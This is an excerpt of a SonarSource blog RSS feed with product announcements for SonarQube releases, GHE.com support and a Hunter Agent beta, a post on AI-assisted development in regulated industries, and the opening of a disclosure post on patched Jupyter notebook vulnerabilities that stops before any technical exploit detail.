href=&quot;https://www.sonarsource.com/blog/claude-arbitrary-code-execution/&quot;&gt;Arbitrary code execution and Claude Code CLI: How Claude executed code before you click &amp;#x27;trust&amp;#x27;&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/ytdlnis-argument-injection-rce/&quot;&gt;Argument injection in YTDLnis via Android intent&lt;/a&gt;&lt;/li&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/hidden-security-risks-in-jupyter-notebooks/&quot;&gt;More than just data: The hidden security risks in Jupyter notebooks&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Introducing SonarQube Server 2026.4]]></title><description><![CDATA[Discover SonarQube Server 2026.4 with architecture management, faster scans and stronger verification for agent generated code.]]></description><link>https://www.sonarsource.com/blog/introducing-sonarqube-server-2026-4/</link><guid isPermaLink="false">en:438779fd-f5b8-42cd-a03d-0cbe0f77d347</guid><dc:creator><![CDATA[Robert Curlee]]></dc:creator><pubDate>Wed, 22 Jul 2026 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/resources/library/what-is-an-ai-agent/&quot;&gt;AI coding agents&lt;/a&gt; are writing more code than ever, and the pace is not slowing down. Pull requests that used to run a few hundred lines now run into the thousands. The question engineering organizations face is no longer whether to adopt agentic development. It&amp;#x27;s whether they can verify what agents produce fast enough, and rigorously enough, to ship it safely.&lt;/p&gt;&lt;p&gt;Today, Sonar is announcing &lt;strong&gt;SonarQube Server 2026.4&lt;/strong&gt;. This release strengthens the code verification layer your organization needs for the agentic era: a quality gate purpose-built for AI-generated code, architecture management now available on &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/server/&quot;&gt;SonarQube Server&lt;/a&gt;, and organization-wide visibility into whether quality gates are holding or quietly being bypassed.&lt;/p&gt;&lt;p&gt;At the center of this release is the new &amp;quot;Sonar way for Agentic AI&amp;quot; quality gate. Agent-generated code carries a different risk profile than code written by humans, agents rarely produce sloppy style, but they can introduce new dependency risk, security gaps, and reliability issues at a higher rate. This gate is calibrated to that reality: stricter on code security, reliability, and new dependencies, more permissive on minor maintainability issues that don&amp;#x27;t carry real risk. It includes new supply chain conditions built specifically for agentic threats, including agents that autonomously pull in typosquatted, hallucinated, or vulnerable packages. Alongside the new gate, this release expands in-product promotion of the Agentic AI quality profiles for &lt;a href=&quot;https://www.sonarsource.com/knowledge/languages/js/&quot;&gt;JavaScript&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/knowledge/languages/ts/&quot;&gt;TypeScript&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/knowledge/languages/python/&quot;&gt;Python&lt;/a&gt;, and &lt;a href=&quot;https://www.sonarsource.com/knowledge/languages/java/&quot;&gt;Java&lt;/a&gt;, making it easier for teams to discover and adopt rule sets focused on where AI-introduced risk actually lives. AI security detection is extended with a dedicated family of agentic-security rules that cover the injection surface unique to CLI code, additional MCP-based security risks, and data leaks in AI mechanisms, catching the threat classes that emerge specifically when agents write the code&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/solutions/architecture/&quot;&gt;Architecture management&lt;/a&gt; also comes to&lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/server/&quot;&gt; SonarQube Server&lt;/a&gt; for the first time, at no additional cost. Software architects can now visualize current architecture, define which components are allowed to depend on each other, and let &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt; automatically flag violations, closing a capability gap that previously existed only in &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/cloud/&quot;&gt;SonarQube Cloud&lt;/a&gt; and giving teams a way to manage structural drift before it becomes expensive technical debt.&lt;/p&gt;&lt;p&gt;To help teams see whether their quality gates are working in practice, not just in theory, a new dashboard tracks how often main branch releases pass or fail the gate over time and flags &amp;quot;risky releases&amp;quot; where code shipped despite a failing check. Developer leads get evidence instead of anecdotes. Engineering executives get a way to quantify the organizational risk created when &lt;a href=&quot;https://www.sonarsource.com/resources/library/quality-gate/&quot;&gt;quality gates&lt;/a&gt; are treated as optional.&lt;/p&gt;&lt;p&gt;This release also delivers meaningful speed improvements. Codebases with many entry points and large taint graphs now see up to 90% faster scans, with some large Java projects dropping from roughly 20 minutes to under a minute. Coverage is unchanged. No configuration change is required. Security-relevant findings, including injection-style vulnerabilities and other dataflow issues, reach developers far sooner in the review cycle. GitHub App setup is also faster: a new guided, one-click flow cuts integration time from around 12 minutes to under two, eliminating manual configuration and the risk of over-privileging the connection. Bulk actions for dependency risk triage round out the efficiency gains, bringing &lt;a href=&quot;https://www.sonarsource.com/solutions/security/sca/&quot;&gt;software composition analysis&lt;/a&gt; workflows in line with how standard code issues are already managed.&lt;/p&gt;&lt;p&gt;Rounding out the release: new rules catch notoriously hard-to-reproduce &lt;a href=&quot;https://www.sonarsource.com/resources/library/software-bugs/&quot;&gt;bugs&lt;/a&gt; in Java date and time handling, full support for the Gosu language opens SonarQube to Guidewire-based insurance organizations for the first time, and new performance baselines give teams a shared definition of &amp;quot;normal&amp;quot; analysis duration.&lt;/p&gt;&lt;p&gt;SonarQube Server 2026.4 is available now. &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/whats-new/2026-4/&quot;&gt;Explore the full release notes&lt;/a&gt; to see everything included, and start verifying agent-generated code with the rigor it demands.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[SonarQube Cloud now supports GitHub Enterprise Cloud with data residency (GHE.com)]]></title><description><![CDATA[SonarQube Cloud now supports GitHub Enterprise Cloud with data residency (GHE.com). Bind your GHE.com org, bulk-import repos & verify code—no CI needed.]]></description><link>https://www.sonarsource.com/blog/github-enterprise-cloud-data-residency/</link><guid isPermaLink="false">en:e63f6bf5-380e-4cf6-9dce-3e1adf859f0b</guid><dc:creator><![CDATA[Andrew Osborne]]></dc:creator><pubDate>Tue, 14 Jul 2026 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;If your organization runs GitHub on a dedicated subdomain like &lt;em&gt;yourcompany&lt;/em&gt;.ghe.com, you can now connect it to SonarQube Cloud. SonarQube Cloud support for GitHub Enterprise Cloud with data residency (GHE.com) is generally available today on the SonarQube Cloud &lt;a href=&quot;https://www.sonarsource.com/plans-and-pricing/&quot;&gt;Enterprise plan&lt;/a&gt;, in the EU and US regions.&lt;/p&gt;&lt;p&gt;Until now, SonarQube Cloud connected only to standard GitHub.com, so teams on a data-resident domain had no path to it. This release opens that path. You get the full analysis capabilities of SonarQube Cloud as a managed service, connected directly to your data-resident GitHub - with no analysis infrastructure to run yourself.&lt;/p&gt;&lt;h2&gt;Why data residency matters for regulated industries&lt;/h2&gt;&lt;p&gt;AI agents and tools like GitHub Copilot are generating code faster than teams can review it, and in regulated industries that velocity collides with strict requirements for auditability and compliance. SonarQube is the independent zero trust verification layer that holds every line to the same standard, regardless of which agent or developer wrote it, giving you the auditable record regulators expect.&lt;/p&gt;&lt;p&gt;GHE.com is GitHub&amp;#x27;s managed cloud offering for organizations with data residency requirements, accessed through a dedicated subdomain like &lt;em&gt;yourcompany&lt;/em&gt;.ghe.com. Data sovereignty requirements in financial services, automotive, healthcare, and defense often rule out standard GitHub.com. For teams on GHE.com, that also meant SonarQube Cloud was out of reach - the SaaS path to Sonar analysis was not available to them.&lt;/p&gt;&lt;p&gt;That changes with this release. SonarQube Cloud now binds directly to your GHE.com organization, so you can analyze code where your identity management system and your data already live. Your code stays inside your residency boundary, and you get Sonar&amp;#x27;s zero trust, multilayered verification delivered as a fully managed service, the same SonarQube benefits, available wherever your team prefers to run it.&lt;/p&gt;&lt;h2&gt;What you can do now in GitHub Enterprise Cloud&lt;/h2&gt;&lt;p&gt;Once you bind your GHE.com organization to SonarQube Cloud, you can:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Analyze private and internal repositories&lt;/strong&gt; with zero-trust, multilayered verification across quality, security, and reliability.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;See results directly on your pull requests&lt;/strong&gt; with PR decoration, so issues surface where developers work.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Bulk-import existing repositories in one click&lt;/strong&gt;, then let auto-import ingest new repositories as they are created.&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Run automatic analysis&lt;/strong&gt; as repositories are ingested.&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;The practical impact: you onboard your entire estate fast, and every new repository gets verified from day one. No manual setup gates, no repositories slipping through unanalyzed.&lt;/p&gt;&lt;h2&gt;How multilayered verification fits into Sonar&amp;#x27;s vision&lt;/h2&gt;&lt;p&gt;In the agent era, verification isn&amp;#x27;t optional. &lt;a href=&quot;https://www.sonarsource.com/resources/library/ai-code-generation/&quot;&gt;AI-generated code&lt;/a&gt; can introduce complex, hard-to-find issues that may compound quickly in agentic workflows. Sonar offers a zero trust, multilayered verification approach, combining automated AI-native PR validation with established algorithmic verification to deliver a robust approach to ensuring high quality and secure code. &lt;/p&gt;&lt;p&gt;Extending SonarQube Cloud to GHE.com brings that verification layer to the teams who need it most. Regulated enterprises no longer have to choose between data sovereignty and a managed, cloud-based approach to code analysis.  You get both, applied consistently across every repository and every agent.&lt;/p&gt;&lt;h2&gt;&lt;strong&gt;Get started today&lt;/strong&gt;&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://docs.sonarsource.com/sonarqube-cloud/administering-sonarcloud/managing-organization/creating-organization/importing-ghecom-cloud-organization&quot;&gt;Visit this page&lt;/a&gt; to get started today.&lt;/p&gt;&lt;h2&gt;Frequently asked questions&lt;/h2&gt;&lt;p&gt;&lt;strong&gt;What is GHE.com, and how is it different from GitHub.com?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;GHE.com is GitHub Enterprise Cloud with data residency, GitHub&amp;#x27;s managed cloud offering that keeps your data in a specific region. Organizations access it through a dedicated subdomain like &lt;em&gt;yourcompany&lt;/em&gt;.ghe.com. It serves regulated industries where data sovereignty rules exclude standard GitHub.com.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Is GHE.com the same as GitHub Enterprise Server?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;No. GHE.com is GitHub&amp;#x27;s managed cloud product with regional data residency. GitHub Enterprise Server (GHES) is the self-hosted, on-prem product you run yourself. This release supports GHE.com. &lt;/p&gt;&lt;p&gt;&lt;strong&gt;Which regions and plans are supported?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;SonarQube Cloud support for GHE.com is exclusively available under the SonarQube Cloud Enterprise plan, in the EU and US regions.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Do I need to configure CI to analyze my repositories?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;No. After you bind your GHE.com organization, you can bulk-import existing repositories in one click and configure auto-import for new ones. Repositories are analyzed automatically as they are ingested, with no CI setup required.&lt;/p&gt;&lt;p&gt;&lt;strong&gt;How do I set it up?&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;Unlike GitHub.com, where GitHub partners list integrations in the GitHub Marketplace, GHE.com has no Marketplace. You create your own GitHub App on your GHE.com instance instead, where permissions are auto-configured. Then you create a SonarQube Cloud organization, point it at your subdomain, and import your repositories. Full setup documentation is available in the &lt;a href=&quot;https://docs.sonarsource.com/sonarqube-cloud/administering-sonarcloud/managing-organization/creating-organization/importing-ghecom-cloud-organization&quot;&gt;getting started guide&lt;/a&gt;.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[AI Assistant Development in Regulated Industries]]></title><description><![CDATA[Scale secure AI-assisted development in regulated industries. Learn how SonarQube and the AC/DC framework automate code verification and compliance.]]></description><link>https://www.sonarsource.com/blog/ai-regulated-industries-innovation/</link><guid isPermaLink="false">en:01963c2c-a4ef-4106-8958-7230f321b8df</guid><dc:creator><![CDATA[Ekaterina Okuneva]]></dc:creator><pubDate>Mon, 13 Jul 2026 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;In regulated industries, the demand for internal software has always exceeded the capacity to build it. These systems are not peripheral; they make up the operational layer that automates workflows, streamlines processes, and turns institutional knowledge into repeatable execution. AI changes the capacity equation, but only if organizations can turn higher development speed into trusted, production-ready solutions.&lt;/p&gt;&lt;p&gt;For years, engineering teams have carried more demand than they could realistically meet. External providers have helped fill the gap, but they have not solved the deeper problem: regulated organizations need more internal capability. They need software built closer to the people who understand the business, workflows, risks, and decisions that software supports.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/&quot;&gt;SonarQube&lt;/a&gt; helps make that shift practical. It gives organizations a way to expand AI-assisted development while keeping &lt;a href=&quot;https://www.sonarsource.com/solutions/ai-code-quality/&quot;&gt;code quality&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/solutions/security/&quot;&gt;security&lt;/a&gt;, and maintainability embedded in the delivery process.&lt;/p&gt;&lt;h2&gt;Expand what engineering teams can build&lt;/h2&gt;&lt;p&gt;AI gives engineering teams a capability multiplier.&lt;/p&gt;&lt;p&gt;Engineers who once spent significant time navigating legacy codebases, writing boilerplate, generating tests, producing documentation, or untangling brittle integrations can now move faster through that work. That gives them more time for the problems that need judgment: architecture, system design, business logic, risk, and long-term maintainability.&lt;/p&gt;&lt;p&gt;In regulated industries, that leverage matters. Engineering talent is expensive, demand is high, and many valuable internal software projects are delayed, deprioritized, or outsourced because teams do not have enough capacity.&lt;/p&gt;&lt;p&gt;SonarQube strengthens the case for building internally by making increased development velocity more governable. Teams can use AI to increase output without relying on manual review as the primary control point. &lt;a href=&quot;https://www.sonarsource.com/solutions/automated-code-review/&quot;&gt;Automated analysis&lt;/a&gt; and &lt;a href=&quot;https://www.sonarsource.com/resources/library/quality-gate/&quot;&gt;quality gates&lt;/a&gt; help ensure that more code does not simply mean more unmanaged risk.&lt;/p&gt;&lt;h2&gt;Bring domain expertise closer to implementation&lt;/h2&gt;&lt;p&gt;AI is changing who can participate in software creation.&lt;/p&gt;&lt;p&gt;In regulated industries, the people who understand the business problems most deeply are often the most removed from the codebase. Physicians understand how clinical workflows should behave. Scientists understand the data pipelines that support their research. Actuaries understand the logic underwriting models need to enforce. Compliance teams understand the regulatory nuance that software often has to translate into process.&lt;/p&gt;&lt;p&gt;That distance has always carried a cost. Business nuance gets translated through too many layers before it reaches implementation, and the software that emerges can be technically sound while still missing the operational precision that makes it valuable.&lt;/p&gt;&lt;p&gt;AI narrows the gap between domain expertise and technical ability. Domain experts can prototype logic, express requirements with more precision, and collaborate with engineering teams in more direct ways. Institutional knowledge becomes easier to translate into working software.&lt;/p&gt;&lt;p&gt;SonarQube makes that broader participation safer by embedding a precise issue detection mechanism into the workflow. A physician contributing to a clinical workflow tool should not be expected to identify a hardcoded credential, same as a scientist working on a data pipeline should not need to become a security specialist. SonarQube applies consistent checks across contributions, regardless of who wrote the code or how it was produced. That allows engineers to collaborate more broadly without absorbing every verification task manually. Their role becomes more strategic: guiding architecture, integration, design, business logic, and risk while automated analysis handles the checks that should be continuous and repeatable.&lt;/p&gt;&lt;h2&gt;Make code verification a mandatory part of how software is built&lt;/h2&gt;&lt;p&gt;For regulated organizations, more building requires more verification.&lt;/p&gt;&lt;p&gt;A vulnerability introduced through AI-generated code is still a vulnerability. &lt;a href=&quot;https://www.sonarsource.com/solutions/reduce-technical-debt/&quot;&gt;Technical debt&lt;/a&gt; in a fast-moving prototype is still technical debt. A flawed dependency, exposed secret, or maintainability issue does not become less consequential because the team moved quickly.&lt;/p&gt;&lt;p&gt;As more code moves through the delivery pipeline, every change needs to be checked consistently for security, reliability, maintainability, and &lt;a href=&quot;https://www.sonarsource.com/resources/library/software-regulatory-compliance-a-developers-guide-to-compliant-sdlc/&quot;&gt;compliance risk&lt;/a&gt;. That verification has to be automatic, continuous, and fast enough to avoid becoming the next bottleneck.&lt;/p&gt;&lt;p&gt;SonarQube is the verification layer directly inside the AI development workflow. It checks code for &lt;a href=&quot;https://www.sonarsource.com/solutions/security/sast/&quot;&gt;security vulnerabilities&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/solutions/secrets-detection/&quot;&gt;secrets&lt;/a&gt;, reliability issues, maintainability concerns, and dependency risk. Quality gates enforce standards before code advances, making quality part of the delivery process rather than a separate manual step added after the fact. That allows regulated organizations to increase software output without creating a parallel increase in review queues, security backlogs, and rework.&lt;/p&gt;&lt;h2&gt;Scale AI-assisted development with AC/DC&lt;/h2&gt;&lt;p&gt;Sonar has formalized the shift to agentic software development through the &lt;a href=&quot;https://www.sonarsource.com/agent-centric-development/&quot;&gt;Agent Centric Development Cycle&lt;/a&gt; (AC/DC): a model built for AI-assisted development at enterprise scale.&lt;/p&gt;&lt;p&gt;Instead of treating code generation as a standalone act, the AC/DC’s three core pillars (Guide, Verify, and Solve) operate across agentic, CI/CD verification and code maintenance loops. Agents are guided by the organization’s standards before they build, their output is verified both during generation and before it reaches the main codebase, and issues are fed back into the cycle for resolution.  &lt;/p&gt;&lt;p&gt;For regulated industries, that is the meaningful change. AI can accelerate creation, but AC/DC provides the operating model that keeps speed connected to control. SonarQube supplies the independent verification layer that makes this practical across teams, tools, and contributors.&lt;/p&gt;&lt;h2&gt;Build the systems AI now makes possible&lt;/h2&gt;&lt;p&gt;The opportunity created by AI is not centered around speed, its main value is in enabling the kind of innovation regulated industries have always needed but have often struggled to deliver: software that reflects how the business actually works, built closer to the people who understand it, at a pace that matches business demand.&lt;/p&gt;&lt;p&gt;SonarQube makes that model sustainable. It allows organizations to expand AI-assisted development while maintaining confidence in the security, reliability, and maintainability of what gets built. Its impact is proven across industries, from fintech leader&lt;a href=&quot;https://www.sonarsource.com/customer-stories/xero/&quot;&gt; Xero&lt;/a&gt; and technology giant&lt;a href=&quot;https://www.sonarsource.com/customer-stories/cisco/&quot;&gt; Cisco&lt;/a&gt; to AI-native global digital agency &lt;a href=&quot;https://www.sonarsource.com/customer-stories/dept/&quot;&gt;DEPT&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;For regulated industries, that is the standard AI raises. The advantage will not come from generating more code alone, but from building internal solutions that allow the business to move faster while still meeting the expectations for security, reliability, and control. And SonarQube is here for you to make sure that the force multiplier effect of AI doesn’t become a risk multiplier – &lt;a href=&quot;https://www.sonarsource.com/company/contact/&quot;&gt;get in touch with us&lt;/a&gt; to learn more.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Introducing SonarQube Hunter Agent(beta): Catch logic flaws, as you code.]]></title><description><![CDATA[Close the security logic gap with SonarQube Hunter Agent. Automate your whitebox code audits to find broken access control & business logic flaws instantly.]]></description><link>https://www.sonarsource.com/blog/hunter-agent-beta/</link><guid isPermaLink="false">en:edcb3fd1-50a3-476d-a352-6cd324fe45b7</guid><dc:creator><![CDATA[Satinder Khasriya]]></dc:creator><pubDate>Thu, 09 Jul 2026 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;AI coding assistants have created a &lt;a href=&quot;https://www.sonarsource.com/resources/library/code-verification/&quot;&gt;verification problem&lt;/a&gt; that nobody fully anticipated. Developers are now merging more code in a single sprint than they could write in a month just two years ago. The volume is real, the productivity gains are real, and the security gap it opens is equally real.&lt;/p&gt;&lt;p&gt;The problem is not that AI writes bad code. The problem is that AI writes access control logic, permission flows, and business workflows at a pace no human reviewer can keep up with. The vulnerabilities that live in that layer—broken access control, business logic flaws, and authentication and session management flaws—are exactly the kinds of issues traditional automated scanning struggles to catch. These flaws do not live in a code pattern. They live in the gap between what a system is supposed to do and what it actually does. A scanner cannot see that gap. An attacker can.&lt;/p&gt;&lt;p&gt;This is the verification challenge of the AI development era: more code, more business logic, more access control decisions, and no scalable way to check whether any of it enforces the right rules.&lt;/p&gt;&lt;p&gt;Security teams have historically relied on manual whitebox code audits to close this gap. These audits mean working through a codebase with full access to the source: reasoning about authorization logic, tracing permission flows, and identifying where enforcement breaks down. This kind of review surfaces what automated scanners miss. But it does not scale, and it happens after the code has already been written and reviewed, which means it’s too late.&lt;/p&gt;&lt;p&gt;SonarQube Hunter Agent brings the same depth of reasoning—a structured, whitebox analysis of authorization logic and business rules—to the moment a developer writes the code. That is the shift. And that shift changes what you can actually do about a finding.&lt;/p&gt;&lt;h2&gt;Beyond structure- where logic vulnerabilities live&lt;/h2&gt;&lt;p&gt;Sonar&amp;#x27;s &lt;a href=&quot;https://www.sonarsource.com/solutions/security/sast/&quot;&gt;SAST engine&lt;/a&gt; is exceptionally good at what it was built to do. It catches &lt;a href=&quot;https://www.sonarsource.com/blog/how-sonarqube-traces-a-sql-injection-your-ai-coding-agent-produced/&quot;&gt;SQL injection&lt;/a&gt;, &lt;a href=&quot;https://www.sonarsource.com/blog/government-emails-at-risk-critical-cross-site-scripting-vulnerability-in-roundcube-webmail/&quot;&gt;cross-site scripting&lt;/a&gt;, path traversal, and hundreds of other vulnerability classes with precision and speed, finding structural flaws in code before they can be exploited. For these issues, static analysis is fast, scalable, and highly accurate.&lt;/p&gt;&lt;p&gt;But there is a class of vulnerability that lives outside the reach of any structural analysis, not because of a limitation in the tool, but because of the nature of the problem itself.&lt;/p&gt;&lt;p&gt;Is this endpoint supposed to be accessible by any authenticated user, or only the account owner? Does the application verify that the user requesting &lt;code&gt;/invoices/8472&lt;/code&gt; has the right to see that invoice, or does it just return it? These are questions of intent and business logic, and answering them requires a different kind of analysis on top of what SAST already provides. &lt;/p&gt;&lt;p&gt;SAST catches structural flaws. SonarQube Hunter Agent catches logic flaws. Together, they cover the full picture.&lt;/p&gt;&lt;h2&gt;What SonarQube Hunter Agent actually does&lt;/h2&gt;&lt;p&gt;SonarQube Hunter Agent is a new AI-powered security agent built on top of Sonar&amp;#x27;s existing analysis infrastructure that targets logic-level vulnerabilities. Hunter Agent works through structured multi-step analysis flows called Playbooks. A single Playbook covers the following three classes of vulnerabilities:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Broken access control&lt;/strong&gt;: Issues such as IDOR, missing/incorrect authorization checks, privilege escalation, sensitive data exposure, CSRF&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Business logic vulnerabilities&lt;/strong&gt;: Skipping required workflow steps, abusing repeatable actions, missing rate limits&lt;/li&gt;&lt;li&gt;&lt;strong&gt;Authentication &amp;amp; session management flaws&lt;/strong&gt;: Broken auth, session fixation, non-expiring sessions, weak password recovery, missing MFA, brute-force gaps&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;It does not ask a model a single question and wait for an answer. It runs through a deliberate sequence: discovering endpoints, mapping the access control and authentication logic, reasoning about behavioral intent, verifying whether enforcement matches that intent, and finally confirming the finding. Each finding includes the full discovery path so you can see exactly how the agent reached its conclusion. No black box, no single-shot inference.&lt;/p&gt;&lt;p&gt;Because Hunter Agent is built on &lt;a href=&quot;https://www.sonarsource.com/blog/introducing-sonar-foundation-agent/&quot;&gt;Sonar&amp;#x27;s Foundation Agent&lt;/a&gt; harness rather than a raw LLM call, its results are consistent from run to run. This matters more than it might seem. An AI scanning tool that produces 47 findings on Monday and 14 findings on the same codebase on Wednesday cannot be operationalized. Security programs need results that can be triaged, escalated, and reported. Reproducibility is not a nice-to-have—it’s a design requirement.&lt;/p&gt;&lt;h2&gt;Why security agents matters now&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/the-future-is-ac-dc-the-agent-centric-development-cycle/&quot;&gt;Agent-driven development&lt;/a&gt; has changed the math. AI coding assistants are generating endpoints, access control logic, and permission flows at a pace no security team can manually review. The attack surface is expanding in every sprint. The vulnerability classes that are hardest to catch automatically are exactly the ones that AI-generated code tends to get wrong, not because of a flaw in the AI, but because business logic correctness requires context that no code generator fully has.&lt;/p&gt;&lt;p&gt;Hunter Agent brings the structured code-audit reasoning that security teams have always relied on human experts to provide, and it applies that reasoning at the moment the code is written, inside the workflow developers already use.&lt;/p&gt;&lt;h2&gt;How to access SonarQube Hunter Agent&lt;/h2&gt;&lt;p&gt;The SonarQube Hunter Agent beta is now available to SonarQube Cloud customers with the Enterprise plan. Findings surface in your existing SonarQube workflow, tagged with &amp;quot;hunter-agent&amp;quot; for easy triage, with no new tool to learn. Access opens today. Once you log into your SonarQube Cloud, you will see the option to enroll directly within the product.&lt;/p&gt;&lt;p&gt;Ready to join the beta? Sign up using your existing SonarQube Cloud Enterprise plan.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[More than just data: The hidden security risks in Jupyter notebooks]]></title><description><![CDATA[Are your data science tools safe? Sonar researchers uncover vulnerabilities leading to code execution in JupyterLab Desktop and PyCharm.]]></description><link>https://www.sonarsource.com/blog/hidden-security-risks-in-jupyter-notebooks/</link><guid isPermaLink="false">en:725c08d0-cc50-4497-91fb-cadb1e5684b0</guid><dc:creator><![CDATA[Yaniv Nizry]]></dc:creator><pubDate>Mon, 06 Jul 2026 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Jupyter notebooks are a powerful tool for data scientists, researchers and developers, and their use has been boosted by the increasing popularity of AI and data science. They provide a flexible and interactive environment for combining live code, narrative text, equations, and visualizations in a single document called a notebook, allowing for rapid prototyping, data exploration, and reproducible research.&lt;/p&gt;&lt;p&gt;Our latest research focused on two popular Jupyter implementations that extend its functionality beyond the traditional web-based server: JupyterLab Desktop and the JetBrains Jupyter plugin. We discovered critical vulnerabilities that allow attackers to fully compromise a victim’s machine with minimal user interaction. In this blog post we’ll detail these vulnerabilities, explain how attackers could have exploited them, and how they were patched.&lt;/p&gt;&lt;h2&gt;Impact&lt;/h2&gt;&lt;p&gt;Our findings in JupyterLab Desktop include Cross-Site Scripting (XSS), command injection, and a token leak (CVE-2025-59842) that allow an attacker to execute arbitrary code on the victim’s machine when an unsuspecting user connects to an arbitrary Jupyter server or clicks on a link within a malicious notebook in untrusted mode.&lt;/p&gt;&lt;p&gt;In the Jupyter plugin of JetBrains, the impact is an XSS leading to remote code execution (CVE-2026-25847), which depends on the environment. In the worst-case scenario, a victim who has a JetBrains IDE with a notebook tab open is susceptible to remote code execution when visiting a malicious website.&lt;/p&gt;&lt;p&gt;Users are strongly advised to update to the latest versions to mitigate these risks. The JetBrains Jupyter plugin vulnerability was fixed in PyCharm 2025.3.2 (CVE-2026-25847). Please note that JupyterLab Desktop is no longer actively maintained and will not receive security updates; users are recommended to migrate to an alternative.&lt;/p&gt;&lt;p&gt;The following video demonstrates how an attacker could have exploited these vulnerabilities:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/OHAq2j87KLc?si=OW7FAwBZKyVpQiH4&quot;&gt;More than just data: The hidden security risks in Jupyter notebooks&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Technical details&lt;/h2&gt;&lt;h3&gt;Background&lt;/h3&gt;&lt;p&gt;The Jupyter ecosystem is a collection of open-source projects designed to provide developers and researchers with interactive computing and reproducible research. Without getting into much detail, here are the important components to get familiarized with before diving into the vulnerabilities details: &lt;/p&gt;&lt;ul&gt;&lt;li&gt;The classic &lt;em&gt;Jupyter Notebook&lt;/em&gt; is a web-based application that offers a simple, document-centric interface for combining live code, narrative text, equations, and visualizations. &lt;/li&gt;&lt;li&gt;Its evolution, &lt;em&gt;JupyterLab&lt;/em&gt;, is a more modern, IDE-like interface that allows you to work with multiple notebooks, terminals, and other tools in a single, customizable workspace.&lt;/li&gt;&lt;li&gt;The entire system is powered by the &lt;em&gt;Jupyter Server&lt;/em&gt;, a backend server that acts as the central hub, managing communication between the user interface and a separate process called a kernel. A kernel (not to be confused with your operating system&amp;#x27;s kernel) is what actually executes your code. The most common kernel is IPython for Python, but others exist for different languages like R and Julia. The notebook interface sends the code you write to the server, which then relays it to the correct kernel for execution.&lt;/li&gt;&lt;/ul&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/ef593040-b591-0198-9506-ed88b30bc023/d23b99f8-8057-4714-9d59-433f7b869232/jupyter-blog-2.png&quot; /&gt;&lt;p&gt;&lt;em&gt;Dive deeper into the architecture of the Jupyter ecosystem here: &lt;a href=&quot;https://docs.jupyter.org/en/stable/projects/architecture/content-architecture.html&quot;&gt;https://docs.jupyter.org/en/stable/projects/architecture/content-architecture.html&lt;/a&gt;  &lt;/em&gt;&lt;/p&gt;&lt;p&gt;Thanks to its popularity, many IDEs now offer support for the Jupyter Notebook format, either through built-in features or via extensions. For example, the &lt;a href=&quot;https://marketplace.visualstudio.com/items?itemName=ms-toolsai.jupyter&quot;&gt;Jupyter extension&lt;/a&gt; for Visual Studio Code is incredibly popular, with over 100 million downloads, making it one of the most downloaded extensions in the marketplace.&lt;/p&gt;&lt;h3&gt;JupyterLab Desktop: From XSS to command injection&lt;/h3&gt;&lt;p&gt;JupyterLab Desktop is a cross-platform application that allows users to run JupyterLab as a standalone desktop application rather than a web-based server. Written in Electron, with &lt;a href=&quot;https://www.electronjs.org/docs/latest/tutorial/security&quot;&gt;security practices&lt;/a&gt; in mind, JupyterLab Desktop is configured safely with &lt;code&gt;nodeIntegration: false&lt;/code&gt;, and &lt;code&gt;contextIsolation: true&lt;/code&gt; settings, essentially limiting the capabilities of the JavaScript code.&lt;/p&gt;&lt;p&gt;In addition to that, the security model separates each view to a different entity, exposing only the required IPC methods for each window:&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/ef593040-b591-0198-9506-ed88b30bc023/d351dc9f-bc5f-4235-87e1-bda3ea958fcf/jupyter-blog-3.png&quot; /&gt;&lt;p&gt;For example, the &lt;a href=&quot;https://github.com/jupyterlab/jupyterlab-desktop/blob/ae61c96009178c7167c237383876f47195920dfa/src/main/settingsdialog/preload.ts&quot;&gt;settingsdialog&lt;/a&gt; window will have different IPC methods exposed vs the &lt;a 